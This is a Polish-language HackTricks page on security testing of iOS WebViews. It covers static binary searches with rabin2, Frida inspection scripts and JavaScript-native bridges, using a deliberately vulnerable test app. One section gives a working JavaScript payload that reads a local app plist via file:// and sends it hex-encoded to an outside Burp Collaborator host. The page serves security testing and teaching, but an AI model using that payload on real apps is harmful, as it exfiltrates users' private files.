mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-20 10:03:51 +00:00
291 lines
18 KiB
Markdown
291 lines
18 KiB
Markdown
# iOS WebViews
|
|
|
|
<details>
|
|
|
|
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
Inne sposoby wsparcia HackTricks:
|
|
|
|
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLAN SUBSKRYPCJI**](https://github.com/sponsors/carlospolop)!
|
|
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
|
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|
|
|
</details>
|
|
|
|
Kod tej strony został wyodrębniony [stąd](https://github.com/chame1eon/owasp-mstg/blob/master/Document/0x06h-Testing-Platform-Interaction.md). Sprawdź stronę, aby uzyskać dalsze szczegóły.
|
|
|
|
|
|
## Typy WebViews
|
|
|
|
WebViews są wykorzystywane w aplikacjach do interaktywnego wyświetlania treści internetowych. Różne typy WebViews oferują różne funkcje i zabezpieczenia dla aplikacji iOS. Oto krótki przegląd:
|
|
|
|
- **UIWebView**, który od iOS 12 nie jest już zalecany ze względu na brak obsługi wyłączania **JavaScript**, co czyni go podatnym na wstrzykiwanie skryptów i ataki **Cross-Site Scripting (XSS)**.
|
|
|
|
- **WKWebView** jest preferowaną opcją do włączania treści internetowych do aplikacji, oferując lepszą kontrolę nad treścią i funkcjami zabezpieczeń. **JavaScript** jest domyślnie włączony, ale można go wyłączyć, jeśli jest to konieczne. Obsługuje również funkcje zapobiegające automatycznemu otwieraniu okien przez JavaScript i zapewnia, że cała treść jest ładowana w sposób bezpieczny. Dodatkowo, architektura **WKWebView** minimalizuje ryzyko uszkodzenia pamięci wpływające na główny proces aplikacji.
|
|
|
|
- **SFSafariViewController** oferuje standaryzowane doświadczenie przeglądania stron internetowych w aplikacjach, rozpoznawalne dzięki swojemu charakterystycznemu układowi, obejmującemu tylko pole adresu do odczytu, przyciski udostępniania i nawigacji oraz bezpośredni link do otwierania treści w Safari. W przeciwieństwie do **WKWebView**, **JavaScript** nie może być wyłączony w **SFSafariViewController**, który również dzieli pliki cookie i dane z Safari, zachowując prywatność użytkownika w aplikacji. Musi być wyświetlany w widocznym miejscu zgodnie z wytycznymi App Store.
|
|
```javascript
|
|
// Example of disabling JavaScript in WKWebView:
|
|
WKPreferences *preferences = [[WKPreferences alloc] init];
|
|
preferences.javaScriptEnabled = NO;
|
|
WKWebViewConfiguration *config = [[WKWebViewConfiguration alloc] init];
|
|
config.preferences = preferences;
|
|
WKWebView *webView = [[WKWebView alloc] initWithFrame:CGRectZero configuration:config];
|
|
```
|
|
## Podsumowanie eksploracji konfiguracji WebViews
|
|
|
|
### **Przegląd analizy statycznej**
|
|
|
|
W procesie badania konfiguracji **WebViews** skupiamy się na dwóch głównych typach: **UIWebView** i **WKWebView**. Aby zidentyfikować te WebViews wewnątrz pliku binarnego, używane są polecenia, które wyszukują określone odwołania do klas i metody inicjalizacji.
|
|
|
|
- **Identyfikacja UIWebView**
|
|
```bash
|
|
$ rabin2 -zz ./WheresMyBrowser | egrep "UIWebView$"
|
|
```
|
|
To polecenie pomaga w zlokalizowaniu wystąpień **UIWebView**, poprzez wyszukiwanie tekstów z nim związanych w pliku binarnym.
|
|
|
|
- **Identyfikacja WKWebView**
|
|
```bash
|
|
$ rabin2 -zz ./WheresMyBrowser | egrep "WKWebView$"
|
|
```
|
|
Podobnie jak w przypadku **WKWebView**, to polecenie wyszukuje w binarnym pliku tekstowe ciągi znaków wskazujące na jego użycie.
|
|
|
|
Ponadto, aby znaleźć sposób inicjalizacji **WKWebView**, wykonuje się następujące polecenie, które skupia się na sygnaturze metody związanej z jego inicjalizacją:
|
|
```bash
|
|
$ rabin2 -zzq ./WheresMyBrowser | egrep "WKWebView.*frame"
|
|
```
|
|
#### **Weryfikacja konfiguracji JavaScript**
|
|
|
|
Dla **WKWebView** zaleca się wyłączenie JavaScript, chyba że jest to konieczne. Przeszukiwany jest skompilowany plik binarny w celu potwierdzenia, czy właściwość `javaScriptEnabled` jest ustawiona na `false`, co oznacza wyłączenie JavaScriptu:
|
|
```bash
|
|
$ rabin2 -zz ./WheresMyBrowser | grep -i "javascriptenabled"
|
|
```
|
|
#### **Tylko weryfikacja bezpiecznej zawartości**
|
|
|
|
**WKWebView** oferuje możliwość identyfikacji problemów z mieszana zawartością, w przeciwieństwie do **UIWebView**. Sprawdzane jest to za pomocą właściwości `hasOnlySecureContent`, aby upewnić się, że wszystkie zasoby strony są ładowane za pomocą bezpiecznych połączeń. Wyszukiwanie w skompilowanym pliku binarnym jest wykonywane w następujący sposób:
|
|
```bash
|
|
$ rabin2 -zz ./WheresMyBrowser | grep -i "hasonlysecurecontent"
|
|
```
|
|
### **Wnioski z analizy dynamicznej**
|
|
|
|
Analiza dynamiczna polega na sprawdzaniu sterty w poszukiwaniu instancji WebView i ich właściwości. Do tego celu używany jest skrypt o nazwie `webviews_inspector.js`, który działa na instancjach `UIWebView`, `WKWebView` i `SFSafariViewController`. Rejestruje informacje o znalezionych instancjach, w tym adresach URL i ustawieniach związanych z JavaScriptem i bezpieczną zawartością.
|
|
|
|
Inspekcję sterty można przeprowadzić za pomocą `ObjC.choose()`, aby zidentyfikować instancje WebView i sprawdzić właściwości `javaScriptEnabled` i `hasonlysecurecontent`.
|
|
|
|
{% code title="webviews_inspector.js" %}
|
|
```javascript
|
|
ObjC.choose(ObjC.classes['UIWebView'], {
|
|
onMatch: function (ui) {
|
|
console.log('onMatch: ', ui);
|
|
console.log('URL: ', ui.request().toString());
|
|
},
|
|
onComplete: function () {
|
|
console.log('done for UIWebView!');
|
|
}
|
|
});
|
|
|
|
ObjC.choose(ObjC.classes['WKWebView'], {
|
|
onMatch: function (wk) {
|
|
console.log('onMatch: ', wk);
|
|
console.log('URL: ', wk.URL().toString());
|
|
},
|
|
onComplete: function () {
|
|
console.log('done for WKWebView!');
|
|
}
|
|
});
|
|
|
|
ObjC.choose(ObjC.classes['SFSafariViewController'], {
|
|
onMatch: function (sf) {
|
|
console.log('onMatch: ', sf);
|
|
},
|
|
onComplete: function () {
|
|
console.log('done for SFSafariViewController!');
|
|
}
|
|
});
|
|
|
|
ObjC.choose(ObjC.classes['WKWebView'], {
|
|
onMatch: function (wk) {
|
|
console.log('onMatch: ', wk);
|
|
console.log('javaScriptEnabled:', wk.configuration().preferences().javaScriptEnabled());
|
|
}
|
|
});
|
|
|
|
ObjC.choose(ObjC.classes['WKWebView'], {
|
|
onMatch: function (wk) {
|
|
console.log('onMatch: ', wk);
|
|
console.log('hasOnlySecureContent: ', wk.hasOnlySecureContent().toString());
|
|
}
|
|
});
|
|
```
|
|
{% endcode %}
|
|
|
|
Skrypt jest wykonywany za pomocą:
|
|
```bash
|
|
frida -U com.authenticationfailure.WheresMyBrowser -l webviews_inspector.js
|
|
```
|
|
**Podstawowe wyniki**:
|
|
- Znaleziono i sprawdzono wystąpienia WebViews.
|
|
- Zweryfikowano włączenie JavaScriptu i ustawienia bezpiecznej zawartości.
|
|
|
|
To podsumowanie zawiera kluczowe kroki i polecenia związane z analizą konfiguracji WebView za pomocą statycznych i dynamicznych podejść, skupiając się na funkcjach zabezpieczeń, takich jak włączanie JavaScriptu i wykrywanie mieszanej zawartości.
|
|
|
|
## Obsługa protokołów WebView
|
|
|
|
Obsługa zawartości w WebView jest istotnym aspektem, zwłaszcza przy pracy z różnymi protokołami, takimi jak `http(s)://`, `file://` i `tel://`. Te protokoły umożliwiają ładowanie zarówno zdalnej, jak i lokalnej zawartości w aplikacjach. Podkreśla się, że podczas ładowania lokalnej zawartości należy podjąć środki ostrożności, aby zapobiec wpływaniu przez użytkowników na nazwę lub ścieżkę pliku oraz edytowaniu samej zawartości.
|
|
|
|
**WebViews** oferują różne metody ładowania zawartości. W przypadku **UIWebView**, obecnie przestarzałego, używane są metody takie jak `loadHTMLString:baseURL:` i `loadData:MIMEType:textEncodingName:baseURL:`. **WKWebView** natomiast korzysta z `loadHTMLString:baseURL:`, `loadData:MIMEType:textEncodingName:baseURL:` i `loadRequest:` do ładowania zawartości internetowej. Metody takie jak `pathForResource:ofType:`, `URLForResource:withExtension:` i `init(contentsOf:encoding:)` są zwykle wykorzystywane do ładowania lokalnych plików. Metoda `loadFileURL:allowingReadAccessToURL:` jest szczególnie godna uwagi ze względu na możliwość ładowania określonego adresu URL lub katalogu do WebView, co potencjalnie może ujawnić poufne dane, jeśli zostanie podany katalog.
|
|
|
|
Aby znaleźć te metody w kodzie źródłowym lub skompilowanym pliku binarnym, można użyć polecenia podobnego do poniższego:
|
|
```bash
|
|
$ rabin2 -zz ./WheresMyBrowser | grep -i "loadHTMLString"
|
|
231 0x0002df6c 24 (4.__TEXT.__objc_methname) ascii loadHTMLString:baseURL:
|
|
```
|
|
W odniesieniu do **dostępu do plików**, UIWebView pozwala na to powszechnie, podczas gdy WKWebView wprowadza ustawienia `allowFileAccessFromFileURLs` i `allowUniversalAccessFromFileURLs` do zarządzania dostępem z adresów URL plików, przy czym oba są domyślnie ustawione na false.
|
|
|
|
Przykład skryptu Frida jest dostarczony do sprawdzenia konfiguracji **WKWebView** dla ustawień zabezpieczeń:
|
|
```bash
|
|
ObjC.choose(ObjC.classes['WKWebView'], {
|
|
onMatch: function (wk) {
|
|
console.log('onMatch: ', wk);
|
|
console.log('URL: ', wk.URL().toString());
|
|
console.log('javaScriptEnabled: ', wk.configuration().preferences().javaScriptEnabled());
|
|
console.log('allowFileAccessFromFileURLs: ',
|
|
wk.configuration().preferences().valueForKey_('allowFileAccessFromFileURLs').toString());
|
|
console.log('hasOnlySecureContent: ', wk.hasOnlySecureContent().toString());
|
|
console.log('allowUniversalAccessFromFileURLs: ',
|
|
wk.configuration().valueForKey_('allowUniversalAccessFromFileURLs').toString());
|
|
},
|
|
onComplete: function () {
|
|
console.log('done for WKWebView!');
|
|
}
|
|
});
|
|
```
|
|
Ostatnim przykładem jest ładunek JavaScript, który ma na celu wyciek lokalnych plików i pokazuje potencjalne ryzyko związane z niewłaściwie skonfigurowanymi WebView. Ten ładunek koduje zawartość plików w formacie szesnastkowym przed przesłaniem ich na serwer, co podkreśla znaczenie rygorystycznych środków bezpieczeństwa w implementacjach WebView.
|
|
```javascript
|
|
String.prototype.hexEncode = function(){
|
|
var hex, i;
|
|
var result = "";
|
|
for (i=0; i<this.length; i++) {
|
|
hex = this.charCodeAt(i).toString(16);
|
|
result += ("000"+hex).slice(-4);
|
|
}
|
|
return result
|
|
}
|
|
|
|
var xhr = new XMLHttpRequest();
|
|
xhr.onreadystatechange = function() {
|
|
if (xhr.readyState == XMLHttpRequest.DONE) {
|
|
var xhr2 = new XMLHttpRequest();
|
|
xhr2.open('GET', 'http://187e2gd0zxunzmb5vlowsz4j1a70vp.burpcollaborator.net/'+xhr.responseText.hexEncode(), true);
|
|
xhr2.send(null);
|
|
}
|
|
}
|
|
xhr.open('GET', 'file:///var/mobile/Containers/Data/Application/ED4E0AD8-F7F7-4078-93CC-C350465048A5/Library/Preferences/com.authenticationfailure.WheresMyBrowser.plist', true);
|
|
xhr.send(null);
|
|
```
|
|
## Metody natywne ujawnione przez WebViews
|
|
|
|
## Zrozumienie interfejsów natywnych WebView w systemie iOS
|
|
|
|
Od wersji iOS 7 Apple udostępnił interfejsy API do **komunikacji między JavaScriptem w WebView a natywnymi** obiektami Swift lub Objective-C. Integracja ta jest głównie ułatwiana przez dwie metody:
|
|
|
|
- **JSContext**: Funkcja JavaScript jest automatycznie tworzona, gdy blok Swift lub Objective-C jest połączony z identyfikatorem w `JSContext`. Pozwala to na bezproblemową integrację i komunikację między JavaScriptem a kodem natywnym.
|
|
- **Protokół JSExport**: Dziedzicząc protokół `JSExport`, natywne właściwości, metody instancji i metody klasy mogą być udostępniane JavaScriptowi. Oznacza to, że wszelkie zmiany dokonane w środowisku JavaScript są odzwierciedlane w środowisku natywnym i vice versa. Jednak ważne jest, aby upewnić się, że wrażliwe dane nie są nieumyślnie ujawniane za pomocą tej metody.
|
|
|
|
### Dostęp do `JSContext` w Objective-C
|
|
|
|
W Objective-C, `JSContext` dla `UIWebView` można uzyskać za pomocą następującego kodu:
|
|
```objc
|
|
[webView valueForKeyPath:@"documentView.webView.mainFrame.javaScriptContext"]
|
|
```
|
|
### Komunikacja z `WKWebView`
|
|
|
|
Dla `WKWebView` bezpośredni dostęp do `JSContext` nie jest dostępny. Zamiast tego, wykorzystuje się przekazywanie wiadomości za pomocą funkcji `postMessage`, umożliwiając komunikację JavaScriptu z natywną aplikacją. Obsługa tych wiadomości jest ustawiana w następujący sposób, umożliwiając bezpieczną interakcję JavaScriptu z aplikacją natywną:
|
|
```swift
|
|
func enableJavaScriptBridge(_ enabled: Bool) {
|
|
options_dict["javaScriptBridge"]?.value = enabled
|
|
let userContentController = wkWebViewConfiguration.userContentController
|
|
userContentController.removeScriptMessageHandler(forName: "javaScriptBridge")
|
|
|
|
if enabled {
|
|
let javaScriptBridgeMessageHandler = JavaScriptBridgeMessageHandler()
|
|
userContentController.add(javaScriptBridgeMessageHandler, name: "javaScriptBridge")
|
|
}
|
|
}
|
|
```
|
|
### Interakcja i testowanie
|
|
|
|
JavaScript może współdziałać z warstwą natywną poprzez zdefiniowanie obsługiwacza wiadomości skryptu. Pozwala to na operacje takie jak wywoływanie funkcji natywnych z strony internetowej:
|
|
```javascript
|
|
function invokeNativeOperation() {
|
|
value1 = document.getElementById("value1").value
|
|
value2 = document.getElementById("value2").value
|
|
window.webkit.messageHandlers.javaScriptBridge.postMessage(["multiplyNumbers", value1, value2]);
|
|
}
|
|
|
|
// Alternative method for calling exposed JavaScript functions
|
|
document.location = "javascriptbridge://addNumbers/" + 1 + "/" + 2
|
|
```
|
|
Aby przechwycić i manipulować wynikiem wywołania funkcji natywnej, można zastąpić funkcję zwrotną wewnątrz kodu HTML:
|
|
```html
|
|
<html>
|
|
<script>
|
|
document.location = "javascriptbridge://getSecret"
|
|
function javascriptBridgeCallBack(name, result) {
|
|
alert(result);
|
|
}
|
|
</script>
|
|
</html>
|
|
```
|
|
Strona natywna obsługuje wywołanie JavaScript, jak pokazano w klasie `JavaScriptBridgeMessageHandler`, gdzie wynik operacji, takich jak mnożenie liczb, jest przetwarzany i wysyłany z powrotem do JavaScript w celu wyświetlenia lub dalszej manipulacji:
|
|
```swift
|
|
class JavaScriptBridgeMessageHandler: NSObject, WKScriptMessageHandler {
|
|
// Handling "multiplyNumbers" operation
|
|
case "multiplyNumbers":
|
|
let arg1 = Double(messageArray[1])!
|
|
let arg2 = Double(messageArray[2])!
|
|
result = String(arg1 * arg2)
|
|
// Callback to JavaScript
|
|
let javaScriptCallBack = "javascriptBridgeCallBack('\(functionFromJS)','\(result)')"
|
|
message.webView?.evaluateJavaScript(javaScriptCallBack, completionHandler: nil)
|
|
}
|
|
```
|
|
## Debugowanie iOS WebViews
|
|
|
|
(Tutorial oparty na [https://blog.vuplex.com/debugging-webviews](https://blog.vuplex.com/debugging-webviews))
|
|
|
|
Aby efektywnie debugować zawartość internetową w iOS webviews, konieczne jest skonfigurowanie specjalnego środowiska za pomocą narzędzi deweloperskich Safari, ponieważ wiadomości wysyłane do `console.log()` nie są wyświetlane w dziennikach Xcode. Oto uproszczony przewodnik, podkreślający kluczowe kroki i wymagania:
|
|
|
|
- **Przygotowanie na urządzeniu iOS**: Wymagane jest aktywowanie narzędzia Safari Web Inspector na urządzeniu iOS. Można to zrobić, przechodząc do **Ustawienia > Safari > Zaawansowane** i włączając _Web Inspector_.
|
|
|
|
- **Przygotowanie na urządzeniu macOS**: Na komputerze z systemem macOS, musisz włączyć narzędzia deweloperskie w Safari. Uruchom Safari, przejdź do **Safari > Preferencje > Zaawansowane** i wybierz opcję _Pokaż menu Deweloper_.
|
|
|
|
- **Połączenie i debugowanie**: Po podłączeniu urządzenia iOS do komputera z systemem macOS i uruchomieniu aplikacji, użyj Safari na urządzeniu macOS, aby wybrać webview, który chcesz debugować. Przejdź do _Develop_ w pasku menu Safari, najedź na nazwę urządzenia iOS, aby zobaczyć listę instancji webview, a następnie wybierz instancję, którą chcesz sprawdzić. Otworzy się nowe okno Safari Web Inspector w tym celu.
|
|
|
|
Jednak pamiętaj o ograniczeniach:
|
|
|
|
- Debugowanie za pomocą tej metody wymaga urządzenia z systemem macOS, ponieważ polega na Safari.
|
|
- Tylko webview w aplikacjach załadowanych na urządzenie za pomocą Xcode są uprawnione do debugowania. Webview w aplikacjach zainstalowanych za pośrednictwem App Store lub Apple Configurator nie mogą być debugowane w ten sposób.
|
|
|
|
|
|
## Odwołania
|
|
|
|
* [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#testing-webview-protocol-handlers-mstg-platform-6](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#testing-webview-protocol-handlers-mstg-platform-6)
|
|
* [https://github.com/authenticationfailure/WheresMyBrowser.iOS](https://github.com/authenticationfailure/WheresMyBrowser.iOS)
|
|
* [https://github.com/chame1eon/owasp-mstg/blob/master/Document/0x06h-Testing-Platform-Interaction.md](https://github.com/chame1eon/owasp-mstg/blob/master/Document/0x06h-Testing-Platform-Interaction.md)
|
|
|
|
<details>
|
|
|
|
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
Inne sposoby wsparcia HackTricks:
|
|
|
|
* Jeśli chcesz zobaczyć **reklamę swojej firmy w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLAN SUBSKRYPCJI**](https://github.com/sponsors/carlospolop)!
|
|
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
|
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
* **Podziel się swoimi trikami hakerskimi, przesyłając PR do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|
|
|
</details>
|